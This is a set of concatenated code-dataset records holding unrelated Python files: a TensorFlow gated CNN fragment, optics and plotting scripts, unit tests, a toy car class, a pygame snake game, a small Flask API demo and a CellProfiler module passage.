name=\"b1\")\n conv = tf.nn.conv2d(\n self.embedded_chars_expanded,\n W1,\n strides=[1, 1, 1, 1],\n padding=\"VALID\",\n name=\"conv\")\n\n h1 = tf.add(conv, b1)\n\n W2 = tf.Variable(tf.truncated_normal(filter_shape, stddev=0.1), name=\"W2\")\n b2 = tf.Variable(tf.constant(0.1, shape=[num_filters]), name=\"b2\")\n conv = tf.nn.conv2d(\n self.embedded_chars_expanded,\n W2,\n strides=[1, 1, 1, 1],\n padding=\"VALID\",\n name=\"conv\")\n h2 = tf.add(conv, b2)\n\n #add forget gate\n h = h1 * tf.sigmoid(h2)\n print (h.shape)\n h = tf.reshape(h, (-1, (num_filters * (sequence_length - filter_size + 1))))\n print (h.shape)\n\n\n\n # Add dropout\n with tf.name_scope(\"dropout\"):\n self.h_drop = tf.nn.dropout(h, self.dropout_keep_prob)\n\n # Final (unnormalized) scores and predictions\n with tf.name_scope(\"output\"):\n W = tf.get_variable(\n \"W\",\n shape=[h.get_shape()[1], num_classes],\n initializer=tf.contrib.layers.xavier_initializer())\n b = tf.Variable(tf.constant(0.1, shape=[num_classes]), name=\"b\")\n l2_loss += tf.nn.l2_loss(W)\n l2_loss += tf.nn.l2_loss(b)\n self.scores = tf.nn.xw_plus_b(self.h_drop, W, b, name=\"scores\")\n self.predictions = tf.argmax(self.scores, 1, name=\"predictions\")\n\n # CalculateMean cross-entropy loss\n with tf.name_scope(\"loss\"):\n losses = tf.nn.softmax_cross_entropy_with_logits(logits=self.scores, labels=self.input_y)\n self.loss = tf.reduce_mean(losses) + l2_reg_lambda * l2_loss\n # optimizer = tf.train.AdamOptimizer(learning_rate)\n # grads_and_vars = optimizer.compute_gradients(self.loss)\n # self.train_op = optimizer.apply_gradients(grads_and_vars)\n\n\n # Accuracy\n with tf.name_scope(\"accuracy\"):\n correct_predictions = tf.equal(self.predictions, tf.argmax(self.input_y, 1))\n self.accuracy = tf.reduce_mean(tf.cast(correct_predictions, \"float\"), name=\"accuracy\")\n self.y = tf.argmax(self.input_y, 1)\n\n\n\n","sub_path":"gated_cnn_nopadding.py","file_name":"gated_cnn_nopadding.py","file_ext":"py","file_size_in_byte":3907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"294651348","text":"\"\"\"\nTest script for testing the AiryBeam1D command.\n\"\"\"\n\nfrom LightPipes import *\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nwavelength = 2.3*um\nsize = 30*mm\nN = 500\nN2=N//2\nx0=0.3*mm\na=0.1/mm\ndz=1.25*cm\nNZ=200\nw=0.5*mm\n\nF0=Begin(size,wavelength,N)\nF0=AiryBeam1D(F0,x0=x0, a=a)\nIx=np.zeros(N)\nfor k in range(0,NZ):\n if k==10:\n F0=CircScreen(F0,w,x_shift=-1*mm)\n F=Forvard(F0,dz*k)\n I=Intensity(F)\n Ix=np.vstack([Ix,I[N2]])\n\nplt.figure(figsize = (12,5))\nplt.imshow(Ix,\n extent=[-size/2/mm, size/2/mm, 0, NZ*dz/cm],\n aspect=0.08,\n origin='lower',\n cmap='jet',\n )\nplt.title('1D Airy beam')\nplt.xlabel('x [mm]')\nplt.ylabel('z [cm]')\ns = r'LightPipes for Python' + '\\n'+ '1D Airy beam' + '\\n\\n'\\\n r'$\\lambda = {:4.2f}$'.format(wavelength/um) + r' ${\\mu}m$' + '\\n'\\\n r'$size = {:4.2f}$'.format(size/mm) + r' $mm$' + '\\n'\\\n r'$N = {:4d}$'.format(N) + '\\n'\\\n r'$x_0 = {:4.2f}$'.format(x0/mm) + r' $mm$' + '\\n'\\\n r'$a = $' + '{:4.2f}'.format(a*mm) + r' $/mm$' + '\\n'\\\n r'${\\copyright}$ Fred van Goor, May 2022'\nplt.text(16, 50, s, bbox={'facecolor': 'white', 'pad': 5})\nplt.show()\n","sub_path":"docs/plot_directive/Examples/Commands/AiryBeam1D.py","file_name":"AiryBeam1D.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"90784738","text":"import re\n\nimport pytest\n\nfrom storyscript.resolver import Resolver\n\n\n@pytest.mark.parametrize('path,data,result', [\n (['a', 'b', 'c'], {'a': {'b': {'c': 1}}}, 1),\n (['a'], {'a': {'b': {}}}, {'b': {}}),\n (['a', '1', 'b'], {'a': [None, {'b': 1}]}, 1)\n])\ndef test_resolve_path(path, data, result):\n assert Resolver.path(path, data) == result\n\n\ndef test_resolve_path_undefined():\n assert Resolver.path('a.b', {}) is None\n\n\n@pytest.mark.parametrize('obj,data,result', [\n ({'$OBJECT': 'path', 'paths': ['a']}, {'a': 1}, 1),\n ({'$OBJECT': 'value', 'value': 'a'}, None, 'a'),\n ({'$OBJECT': 'value', 'value': 1}, None, 1),\n ({'$OBJECT': 'expression',\n 'expression': '{} == 1',\n 'values': [{'$OBJECT': 'path', 'paths': ['a']}]}, {'a': 1}, True),\n ({'$OBJECT': 'expression',\n 'expression': '{} > {}',\n 'values': [{'$OBJECT': 'path', 'paths': ['a']},\n {'$OBJECT': 'value', 'value': 2}]},\n {'a': 1}, False),\n ({'$OBJECT': 'method',\n 'method': 'is',\n 'left': {'$OBJECT': 'value', 'value': 1},\n 'right': {'$OBJECT': 'path', 'paths': ['a']}},\n {'a': 1}, 1),\n (1, None, 1),\n (None, None, None),\n ('string', None, 'string'),\n ({'a': 'b'}, None, {'a': 'b'})\n])\ndef test_resolve_resolve(obj, data, result):\n assert Resolver.resolve(obj, data) == result\n\n\ndef test_resolve_obj_regexp():\n result = Resolver.object({'$OBJECT': 'regexp', 'regexp': 'abc'}, None)\n assert result.pattern == 'abc'\n\n\n@pytest.mark.parametrize('method, left, right, result', [\n ('like', 'abc', re.compile('^abc'), True),\n ('has', {'b': 1}, 'b', True),\n ('contains', {'b': 1}, 'b', True),\n ('contains', {}, 'c', False),\n ('has', ['b'], 'b', True),\n ('in', 'b', ['b'], True),\n ('excludes', 1, [0], True),\n ('contains', ['b'], 'b', True),\n ('isnt', 1, 1, False),\n ('is', 1, 1, True),\n])\ndef test_resolve_method(method, left, right, result):\n assert Resolver.method(method, left, right) == result\n\n\n@pytest.mark.parametrize('items_list, data, result', [\n ([{'$OBJECT': 'path', 'paths': ['a']}], {'a': 1}, [1]),\n ([{'$OBJECT': 'path', 'paths': ['a']}], {}, [None]),\n ([], None, []),\n ([{'$OBJECT': 'path', 'paths': ['abc']},\n {'$OBJECT': 'value', 'value': 1}],\n {'abc': 0, 'b': 1}, [0, 1]),\n])\ndef test_resolve_list(items_list, data, result):\n assert Resolver.values(items_list, data=data) == result\n\n\n@pytest.mark.parametrize('dictionary, data, result', [\n ({'k': {'$OBJECT': 'path', 'paths': ['a']}}, {'a': 1}, {'k': 1}),\n ({'k': {'$OBJECT': 'path', 'paths': ['a']}}, {}, {'k': None}),\n ({}, None, {}),\n ({'a': {'$OBJECT': 'path', 'paths': ['abc']},\n 'b': {'$OBJECT': 'value', 'value': 1}},\n {'abc': 0, 'b': 1}, {'a': 0, 'b': 1}),\n])\ndef test_resolve_dict(dictionary, data, result):\n assert Resolver.dictionary(dictionary, data) == result\n\n\n@pytest.mark.parametrize('value,result', [\n (1, '1'),\n ('a', '\"\"\"a\"\"\"'),\n ('a\"', '\"\"\"a\\\"\"\"\"'),\n])\ndef test_stringify(value, result):\n assert Resolver.stringify(value) == result\n","sub_path":"tests/integration/test_resolver.py","file_name":"test_resolver.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"136832103","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 3 23:03:59 2019\r\n\r\n@author: alessandrocravioglio\r\n\"\"\"\r\n\r\nclass Auto(object):\r\n def __init__(self, color):\r\n self._color = color\r\n \r\n def set_color(self, newcolor):\r\n self._color = newcolor\r\n \r\n def get_color(self):\r\n return \"The car is \"+self._color+\".\"\r\n \r\n def enter_auto(self, enter_auto):\r\n if self._door_status:\r\n if enter_auto == \"in\":\r\n self._enter_auto = True\r\n elif enter_auto == \"out\":\r\n self._enter_auto = False\r\n else:\r\n raise ValueError(\"You can only go in and co out of your car\")\r\n self._enter_auto = False\r\n else:\r\n return \"The doors are closed, you can't enter\"\r\n \r\n def get_driver_in(self): #TODO: integration with the rest of the methods\r\n if self._enter_auto == True:\r\n return \"You are ready to start, but first do all the occurrences.\"\r\n else:\r\n self._enter_auto == False\r\n return \"you are out of the car.\"\r\n \r\n def set_motor_status(self, motor_status):\r\n if self._enter_auto: \r\n if motor_status == \"turn on\":\r\n self._motor_status = True\r\n elif motor_status == \"turn off\":\r\n self._motor_status = False\r\n else:\r\n raise ValueError(\"You can only turn off or turn down the motor\")\r\n self._motor_status = False\r\n elif self._door_status:\r\n return \"The doors are open\"\r\n else:\r\n return \"You are out of the car\"\r\n \r\n def get_motor_status(self):\r\n if self._motor_status:\r\n return \"The motor is on.\"\r\n else:\r\n return \"The motor is off.\"\r\n \r\n def set_door_status(self, door_status):\r\n if door_status == \"open doors\":\r\n self._door_status = True\r\n elif door_status == \"close doors\":\r\n self._door_status = False\r\n else:\r\n raise ValueError(\"you can only close and open the doors\")\r\n \r\n def get_door_status(self):\r\n if self._door_status:\r\n return \"The doors are open\"\r\n else:\r\n return \"The doors are closed\"\r\n \r\n def set_speed(self, speed):\r\n self._speed = speed\r\n \r\n def get_speed(self):\r\n return self._speed\r\n \r\n def get_car_status(self):\r\n return Auto.get_door_status(self),Auto.get_driver_in(self) , Auto.get_motor_status(self), Auto.get_color(self) #Auto.get_speed(self)\r\n \r\n \r\n \r\n# IMPORTANT: spped is not well implemented\r\n# to make this Auto function you have to follow theese steps:\r\n# 1. open the doors ==> set_door_status(\"open doors\")\r\n# 2. enter in the auto ==> enter_auto(\"in\")\r\n# 3. turn on the motor == set_motor_status(\"turn on\") \r\n# if you want to see the car status, you have to call the method get_car_status()\r\n# PROBLEM: you have to assign the attributes, or the program will print an AttributeError\r\n\r\n\"\"\" \r\nto implement when the Auto is functioning well\r\n \r\nclass Position(object):\r\n pass\r\n\r\nclass My_position(Position):\r\n pass\r\n\r\nclass Final_position(Position):\r\n pass\r\n \r\n\"\"\" \r\n\r\n#think about the architecture,only one class or more classes?\r\n#implement position\r\n\r\nmy_car = Auto(\"grey\")\r\nmy_car.set_door_status(\"open doors\")\r\nmy_car.enter_auto(\"in\")\r\nmy_car.set_motor_status(\"turn on\")\r\n\r\nprint(my_car.get_car_status())\r\n\r\n","sub_path":"py-oop-auto.py","file_name":"py-oop-auto.py","file_ext":"py","file_size_in_byte":3510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"280060746","text":"import pygame\nimport random\n\nFRAME_RATE = 10\nFRAME_WIDTH = 500\nFRAME_HEIGHT = 500\nWALL_WIDTH = 5\nSNAKE_SIZE = 20\nFOOD_RAD = 4\n\nclass Snake(object):\n def __init__(self):\n self.x = (FRAME_WIDTH - SNAKE_SIZE)/2 + WALL_WIDTH\n self.y = (FRAME_HEIGHT - SNAKE_SIZE)/2 + WALL_WIDTH\n self.length = 1\n self.x_vel = SNAKE_SIZE\n self.y_vel = 0\n\n self.body = [self.head()]\n\n def head(self):\n return pygame.Rect(self.x, self.y, SNAKE_SIZE, SNAKE_SIZE)\n\n def move_left(self):\n self.x_vel = - SNAKE_SIZE\n self.y_vel = 0\n\n def move_right(self):\n self.x_vel = SNAKE_SIZE\n self.y_vel = 0\n\n def move_up(self):\n self.x_vel = 0\n self.y_vel = -SNAKE_SIZE\n\n def move_down(self):\n self.x_vel = 0\n self.y_vel = SNAKE_SIZE\n\n def increase_size(self):\n self.body.insert(0, pygame.Rect(self.x, self.y, SNAKE_SIZE, SNAKE_SIZE))\n\n def draw(self, win):\n self.x = (self.x + self.x_vel)\n if self.x < WALL_WIDTH or self.x >= FRAME_WIDTH+WALL_WIDTH:\n return False\n self.y = (self.y + self.y_vel)\n if self.y < WALL_WIDTH or self.y >= FRAME_HEIGHT+WALL_WIDTH:\n return False\n for piece in self.body:\n if piece.colliderect(self.head()):\n return False\n self.body.insert(0, self.head())\n self.body.pop()\n drawn = []\n for piece in self.body:\n pygame.draw.rect(win, (0,255,0), piece)\n drawn.append(piece)\n\n return True\n\n def __del__(self):\n pass\n\nclass Food(object):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.show = False\n\n @classmethod\n def random(cls):\n return Food(random.randint(0, FRAME_WIDTH) // SNAKE_SIZE * SNAKE_SIZE + SNAKE_SIZE//2 + WALL_WIDTH,\n random.randint(0, FRAME_HEIGHT) // SNAKE_SIZE * SNAKE_SIZE + SNAKE_SIZE//2 + WALL_WIDTH)\n\n def check_eat(self, snake):\n return snake.head().collidepoint(self.x, self.y)\n\n def draw(self, win):\n pygame.draw.circle(win, (255,0,0), (self.x, self.y), FOOD_RAD)\n\ndef display_text(win, text, x, y, size, color):\n font = pygame.font.SysFont('comicsansms', size)\n rendering = font.render(text, True, color)\n win.blit(rendering, (x, y))\n\ndef text_size(text, size):\n font = pygame.font.SysFont('comicsansms', size)\n return font.size(text)\n\ndef main():\n # start the window\n win = pygame.display.set_mode((FRAME_WIDTH+WALL_WIDTH*2, FRAME_HEIGHT+WALL_WIDTH*2))\n\n #initial setup\n pygame.display.set_caption('Snakey Snake')\n clock = pygame.time.Clock()\n\n init = pygame.font.init()\n\n # init the snake\n snake = Snake()\n\n # init the current food item\n food = Food.random()\n\n # do the intro sequence\n pygame.draw.lines(win, (255,255,255), True, [(0,0),\n (0,FRAME_HEIGHT+WALL_WIDTH*2),\n (FRAME_WIDTH+WALL_WIDTH*2, FRAME_HEIGHT+WALL_WIDTH*2),\n (FRAME_WIDTH+WALL_WIDTH*2, 0)], 5)\n pygame.draw.rect(win, (255,255,255), (FRAME_WIDTH//2 - 100 + WALL_WIDTH, FRAME_HEIGHT//2 - 50 + WALL_WIDTH,\n 200, 100))\n text_width, text_height = text_size('START', 40)\n display_text(win, 'START', (FRAME_WIDTH-text_width)//2 + WALL_WIDTH, (FRAME_HEIGHT-text_height)//2 + WALL_WIDTH, 40, (0,0,0))\n pygame.display.update()\n wait = True\n while wait:\n clock.tick(FRAME_RATE)\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n wait = False\n\n wait = True\n while wait:\n clock.tick(FRAME_RATE)\n if event.type == pygame.QUIT:\n wait = False\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n snake.move_left()\n elif event.key == pygame.K_RIGHT:\n snake.move_right()\n elif event.key == pygame.K_UP:\n snake.move_up()\n elif event.key == pygame.K_DOWN:\n snake.move_down()\n elif event.key == pygame.K_ESCAPE or event.key == pygame.K_RETURN:\n wait = False\n\n if food.check_eat(snake):\n snake.increase_size()\n del food\n food = Food.random()\n\n win.fill((0,0,0))\n pygame.draw.lines(win, (255,255,255), True, [(0,0),\n (0,FRAME_HEIGHT+WALL_WIDTH*2),\n (FRAME_WIDTH+WALL_WIDTH*2, FRAME_HEIGHT+WALL_WIDTH*2),\n (FRAME_WIDTH+WALL_WIDTH*2, 0)], 5)\n food.draw(win)\n wait = snake.draw(win)\n pygame.display.update()\n\n # do clean up stuff here\n pygame.draw.rect(win, (255,0,0), (FRAME_WIDTH//2 - 100 + WALL_WIDTH, FRAME_HEIGHT//2 - 50 + WALL_WIDTH,\n 200, 100))\n text_width, text_height = text_size('DED', 40)\n display_text(win, 'DED', (FRAME_WIDTH-text_width)//2 + WALL_WIDTH, (FRAME_HEIGHT-text_height)//2 + WALL_WIDTH, 40, (0,0,0))\n pygame.display.update()\n\n wait = True\n while wait:\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN and (event.key == pygame.K_RETURN or event.key == pygame.K_ESCAPE):\n wait = False\n return\n\nif __name__ == '__main__':\n main()","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":5647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"45911919","text":"from biplist import *\nimport datetime\nimport os\nfrom test_utils import *\nimport unittest\n\nclass TestValidPlistFile(unittest.TestCase):\n def setUp(self):\n pass\n \n def validateSimpleBinaryRoot(self, root):\n self.assertTrue(type(root) == dict, \"Root should be dictionary.\")\n self.assertTrue(type(root[b'dateItem']) == datetime.datetime, \"date should be datetime\")\n self.assertEqual(root[b'dateItem'], datetime.datetime(2010, 8, 19, 22, 27, 30, 385449), \"dates not equal\" )\n self.assertEqual(root[b'numberItem'], -10000000000000000, \"number not of expected value\")\n self.assertEqual(root[b'unicodeItem'], 'abc\\u212cdef\\u2133')\n self.assertEqual(root[b'stringItem'], b'Hi there')\n self.assertEqual(root[b'realItem'], 0.47)\n self.assertEqual(root[b'boolItem'], True)\n self.assertEqual(root[b'arrayItem'], [b'item0'])\n \n def testFileRead(self):\n try:\n result = readPlist(data_path('simple_binary.plist'))\n self.validateSimpleBinaryRoot(result)\n except NotBinaryPlistException as e:\n self.fail(\"NotBinaryPlistException: %s\" % e)\n except InvalidPlistException as e:\n self.fail(\"InvalidPlistException: %s\" % e)\n \n def testUnicodeRoot(self):\n result = readPlist(data_path('unicode_root.plist'))\n self.assertEqual(result, \"Mirror's Edge\\u2122 for iPad\")\n \n def testEmptyUnicodeRoot(self):\n result = readPlist(data_path('unicode_empty.plist'))\n self.assertEqual(result, b\"\")\n \n def testSmallReal(self):\n result = readPlist(data_path('small_real.plist'))\n self.assertEqual(result, {b'4 byte real':0.5})\n \n def testKeyedArchiverPlist(self):\n \"\"\"\n Archive is created with class like this:\n @implementation Archived\n ...\n - (void)encodeWithCoder:(NSCoder *)coder {\n [coder encodeObject:@\"object value as string\" forKey:@\"somekey\"];\n }\n @end\n \n Archived *test = [[Archived alloc] init];\n NSData *data = [NSKeyedArchiver archivedDataWithRootObject:test]\n ...\n \"\"\"\n result = readPlist(data_path('nskeyedarchiver_example.plist'))\n self.assertEqual(result, {b'$version': 100000, \n b'$objects': \n [b'$null', \n {b'$class': Uid(3), b'somekey': Uid(2)}, \n b'object value as string', \n {b'$classes': [b'Archived', b'NSObject'], b'$classname': b'Archived'}\n ], \n b'$top': {b'root': Uid(1)}, b'$archiver': b'NSKeyedArchiver'})\n self.assertEqual(\"Uid(1)\", repr(Uid(1)))\n \nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_valid.py","file_name":"test_valid.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"522471110","text":"import sys\nimport argparse\nimport itertools\n\nimport numpy as np\nimport tables as tb\n\nfrom matplotlib import pylab as plt\n\n_colors = itertools.cycle([\"k\", \"c\", \"r\", \"g\", \"y\", \"b\", \"dimgrey\", \"chocolate\", \"m\", \"gold\", \"tomato\", \"lime\"])\n\ndef mode(data):\n unique_values, occurrences = np.unique(data, return_counts=True)\n return unique_values[np.argmax(occurrences)]\n\n\ndef customize_plot(zoomx, zoomy, wf_type, evt, elecid=None):\n title = (\"{} | Evt {}\" .format(wf_type, evt ) if elecid is None else\n \"{} | Evt {}, elecid {}\".format(wf_type, evt, elecid))\n\n\n plt.xlabel(\"Time bin\")\n plt.ylabel(\"Amplitude (adc)\")\n plt.title(title)\n\n if zoomx: plt.xlim(zoomx)\n if zoomy: plt.ylim(zoomy)\n if elecid is None: plt.legend()\n\n\ndef show_and_wait():\n plt.show()\n input(\"Press [enter] to continue\")\n plt.clf()\n\n\ndef plot_waveforms(waveforms, sensors, evt, *, wf_type=\"PMT\", range=(None,),\n overlay=False, sum=False,\n zoomx=False, zoomy=False, dual=False):\n range = slice(*range)\n\n wfsize = waveforms.shape[2]\n time = np.arange(wfsize).astype(float)\n if wf_type == \"PMT\" : time /= 40\n elif wf_type == \"BLR\" : time /= 40\n elif wf_type == \"SiPM\": pass\n else: raise ValueError(\"Unrecognized wf type {}. \".format(wf_type) + \n \"Valid options: are 'PMT', 'BLR' and 'SiPM'\")\n\n if sum: wf_type += \" SUM\"\n\n gmin, gmax = float(\"inf\"), -float(\"inf\")\n plt.ion()\n ax1 = plt.gca()\n if sum:\n sum_wf = np.zeros(waveforms.shape[2])\n\n if dual:\n for wf, wf_dual, ID, color in zip(waveforms[0][range], waveforms[1][range] , sensors[range], _colors):\n ymin, ymax = min(wf_dual), max(wf_dual)\n if ymin < gmin: gmin = ymin\n if ymax > gmax: gmax = ymax\n\n plt.plot(wf, drawstyle=\"steps\", label=str(ID[0]), c=color)\n plt.plot(wf_dual, drawstyle=\"steps\", label=str(ID[0]), c=next(_colors))\n\n ylim = (0.99 * ymin, 1.01 * ymax)\n customize_plot(zoomx, zoomy if zoomy else ylim, wf_type, evt, ID[0])\n show_and_wait()\n else:\n for wf, ID, color in zip(waveforms[0][range], sensors[range], _colors):\n ymin, ymax = min(wf), max(wf)\n if ymin < gmin: gmin = ymin\n if ymax > gmax: gmax = ymax\n\n if sum:\n bls_wf = wf - mode(wf)\n sum_wf = sum_wf + bls_wf * (1 if \"SiPM\" in wf_type else -1)\n else:\n plt.plot(wf, drawstyle=\"steps\", label=str(ID[0]), c=color)\n\n if not overlay and not sum:\n ylim = (0.99 * ymin, 1.01 * ymax)\n customize_plot(zoomx, zoomy if zoomy else ylim, wf_type, evt, ID[0])\n show_and_wait()\n\n if overlay:\n ylim = 0.99 * gmin, 1.01 * gmax\n customize_plot(zoomx, zoomy if zoomy else ylim, wf_type, evt)\n show_and_wait()\n\n if sum:\n ylim = np.min(sum_wf) - 50, np.max(sum_wf) + 50\n plt.plot(sum_wf, drawstyle=\"steps\", c=\"k\")\n customize_plot(zoomx, zoomy if zoomy else ylim, wf_type, evt)\n show_and_wait()\n\n\ndef plot_file(filename, rwf=True, blr=True, sipm=True, sipm_range=(None,),\n overlay=False, sum=False, first=0,\n zoomx=False, zoomy=False, dual=False, elecid=False):\n with tb.open_file(filename) as file:\n evt_step = 2 if dual else 1\n event_numbers = file.root.Run.events[:]\n if len(sipm_range) > 1:\n sipm_channels = file.root.Sensors.DataSiPM.cols.sensorID[:]\n if elecid:\n sipm_channels = file.root.Sensors.DataSiPM.cols.channel[:]\n start_idx = np.where(sipm_channels == sipm_range[0])[0][0]\n end_idx = np.where(sipm_channels == sipm_range[1])[0][0]\n sipm_range = (start_idx, end_idx)\n\n for evt in range(first, len(file.root.Run.events.cols.evt_number), evt_step):\n evt_number = event_numbers[evt][0]\n if rwf and \"RD/pmtrwf\" in file.root and \"Sensors/DataPMT\" in file.root:\n plot_waveforms(file.root.RD . pmtrwf [evt : evt+evt_step],\n file.root.Sensors.DataPMT [:],\n evt_number, wf_type=\"PMT\", overlay=overlay, sum=sum,\n zoomx=zoomx, zoomy=zoomy, dual=dual)\n if blr and \"RD/pmtblr\" in file.root and \"Sensors/DataBLR\" in file.root:\n plot_waveforms(file.root.RD . pmtblr [evt : evt+evt_step],\n file.root.Sensors.DataBLR [:],\n evt_number, wf_type=\"BLR\", overlay=overlay, sum=sum,\n zoomx=zoomx, zoomy=zoomy, dual=dual)\n if sipm and \"RD/sipmrwf\" in file.root and \"Sensors/DataSiPM\" in file.root:\n plot_waveforms(file.root.RD .sipmrwf [evt : evt + evt_step],\n file.root.Sensors.DataSiPM[:],\n evt_number, wf_type=\"SiPM\", range=sipm_range,\n overlay=overlay, sum=sum,\n zoomx=zoomx, zoomy=zoomy, dual=dual)\n\n\n#def _plot_waveform(waveforms, sensors):\n# nevts, nsensors, _ = waveforms.shape\n# for evt in range(nevts):\n## for evt in range(1):\n# for s in range(nsensors):\n## for s in range(640, 1000):\n## for s in range(128, 128 + 64):\n# data = waveforms[evt, s, :]\n# ymin = min(data)\n# ymax = max(data)\n# ymin = ymin - 0.1 * ymin\n# ymax = ymax + 0.1 * ymax\n#\n# title = \"Evt {}, elecid {}\".format(evt, sensors[s][0])\n#\n# plt.ion()\n# plt.plot(data, drawstyle='steps')\n# plt.ylim(ymin, ymax)\n# plt.title(title)\n# plt.show()\n# _ = input(\"Press [enter] to continue.\")\n# plt.clf()\n\nif __name__ == '__main__':\n def sipm_index(sensor_id):\n sensor_id = int(sensor_id)\n dice = sensor_id // 1000\n sipm_no = sensor_id % 1000\n return (dice - 1) * 64 + sipm_no\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--file\" , required=True)\n\n parser.add_argument( \"-pmt\" , action=\"store_true\")\n parser.add_argument( \"-blr\" , action=\"store_true\")\n parser.add_argument( \"-sipm\" , action=\"store_true\")\n #parser.add_argument(\"--sipm-range\", type=sipm_index, default=(None,), nargs=\"*\")\n parser.add_argument(\"--sipm-range\", type=int, default=(None,), nargs=\"*\")\n\n parser.add_argument(\"--overlay\" , action=\"store_true\")\n parser.add_argument(\"--sum\" , action=\"store_true\")\n parser.add_argument(\"--dual\" , action=\"store_true\")\n parser.add_argument(\"--first\" , type=int, default=0)\n parser.add_argument(\"--zoomx\" , type=int, default=(), nargs=\"*\")\n parser.add_argument(\"--zoomy\" , type=int, default=(), nargs=\"*\")\n parser.add_argument(\"--elecid\" , action=\"store_true\")\n\n args = parser.parse_args(sys.argv[1:])\n filename = args.file\n\n plot_file(filename,\n rwf=args.pmt, blr=args.blr, sipm=args.sipm, sipm_range=args.sipm_range,\n overlay=args.overlay, sum=args.sum, first=args.first,\n zoomx=args.zoomx, zoomy=args.zoomy, dual=args.dual, elecid=args.elecid)\n","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":7371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"382092288","text":"# Brian Lee \n# SoftDev1 pd6\n# K26 -- Getting More REST\n# 2018-11-15\n\nimport urllib\nimport json\nimport random\n\nfrom flask import Flask, render_template\n\napp = Flask(__name__)\n\nPROXY = \"149.89.1.30:3128\"\n\n@app.route('/')\ndef root():\n \n # Testing the xkcd API\n URL = \"https://xkcd.com/info.0.json\"\n req = urllib.request.Request(URL)\n\n try:\n resp = urllib.request.urlopen(req, None, 1)\n except urllib.error.URLError:\n req.set_proxy(PROXY, 'http')\n resp = urllib.request.urlopen(req, None, 3)\n\n xkcd_data = json.loads(resp.read())\n\n # Testing the Wikipedia API\n URL_STUB = \"https://en.wikipedia.org/w/api.php?\"\n PARAMS = {\n 'action': 'parse',\n 'page': 'Stuyvesant High School',\n 'section': 1,\n 'format': 'json',\n }\n URL = URL_STUB + urllib.parse.urlencode(PARAMS)\n req = urllib.request.Request(URL)\n\n try:\n resp = urllib.request.urlopen(req, None, 0.5)\n except urllib.error.URLError:\n req.set_proxy(PROXY, 'http')\n resp = urllib.request.urlopen(req, None, 1)\n\n wiki_data = json.loads(resp.read())\n\n # Testing the Numbers API\n URL = \"http://numbersapi.com/random/math\"\n req = urllib.request.Request(URL)\n\n try:\n resp = urllib.request.urlopen(req, None, 0.5)\n except urllib.error.URLError:\n req.set_proxy(PROXY, 'http')\n resp = urllib.request.urlopen(req, None, 1)\n number_data = resp.read().decode()\n\n return render_template('main.html',\n xkcd=xkcd_data,\n number=number_data,\n wikipage=wiki_data['parse']['text']['*'],\n )\n\napp.debug=True\napp.run()\n","sub_path":"26_rrreeesssttt/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"547816190","text":"'''Invert For Printing inverts fluorescent images into \nbrightfield-looking images for printing.\n
    \nThis module turns a single or multi-channel immunofluorescent-stained image\ninto an image that resembles a brightfield image stained with similarly\ncolored stains, which generally prints better.\n\nYou can operate on up to three grayscale images (representing\nthe red, green, and blue channels of a color image) or on an image that is\nalready a color image. The module can produce either three grayscale\nimages or one color image as output.\n\nIf you want to invert the grayscale intensities of an image, use ImageMath.\n'''\n\nimport numpy as np\n\nimport cellprofiler.cpimage as cpi\nimport cellprofiler.cpmodule as cpm\nimport cellprofiler.settings as cps\nfrom cellprofiler.settings import YES, NO\n\nCC_GRAYSCALE = \"Grayscale\"\nCC_COLOR = \"Color\"\nCC_ALL = [CC_COLOR, CC_GRAYSCALE]\nclass InvertForPrinting(cpm.CPModule):\n\n module_name = \"InvertForPrinting\"\n category = 'Image Processing'\n variable_revision_number = 1\n\n def create_settings(self):\n # Input settings\n self.input_color_choice = cps.Choice(\n \"Input image type\", CC_ALL, doc = \"\"\"\n Specify whether you are combining several grayscale images or\n loading a single color image.\"\"\")\n\n self.wants_red_input = cps.Binary(\n \"Use a red image?\",True, doc = \"\"\"\n Select %(YES)s to specify an image to use for the red channel.\"\"\"%globals())\n\n self.red_input_image = cps.ImageNameSubscriber(\n \"Select the red image\",cps.NONE)\n\n self.wants_green_input = cps.Binary(\n \"Use a green image?\",True, doc = \"\"\"\n Select %(YES)s to specify an image to use for the green channel.\"\"\"%globals())\n\n self.green_input_image = cps.ImageNameSubscriber(\n \"Select the green image\", cps.NONE)\n\n self.wants_blue_input = cps.Binary(\n \"Use a blue image?\", True, doc = \"\"\"\n Select %(YES)s to specify an image to use for the blue channel.\"\"\"%globals())\n\n self.blue_input_image = cps.ImageNameSubscriber(\n \"Select the blue image\", cps.NONE)\n\n self.color_input_image = cps.ImageNameSubscriber(\n \"Select the color image\", cps.NONE,doc = '''\n Select the color image to use.''')\n\n # Output settings\n self.output_color_choice = cps.Choice(\n \"Output image type\", CC_ALL, doc = \"\"\"\n Specify whether you want to produce several grayscale images or one color image.\"\"\")\n\n self.wants_red_output = cps.Binary(\n \"Select %(YES)s to produce a red image.\"%globals(), True)\n\n self.red_output_image = cps.ImageNameProvider(\n \"Name the red image\", 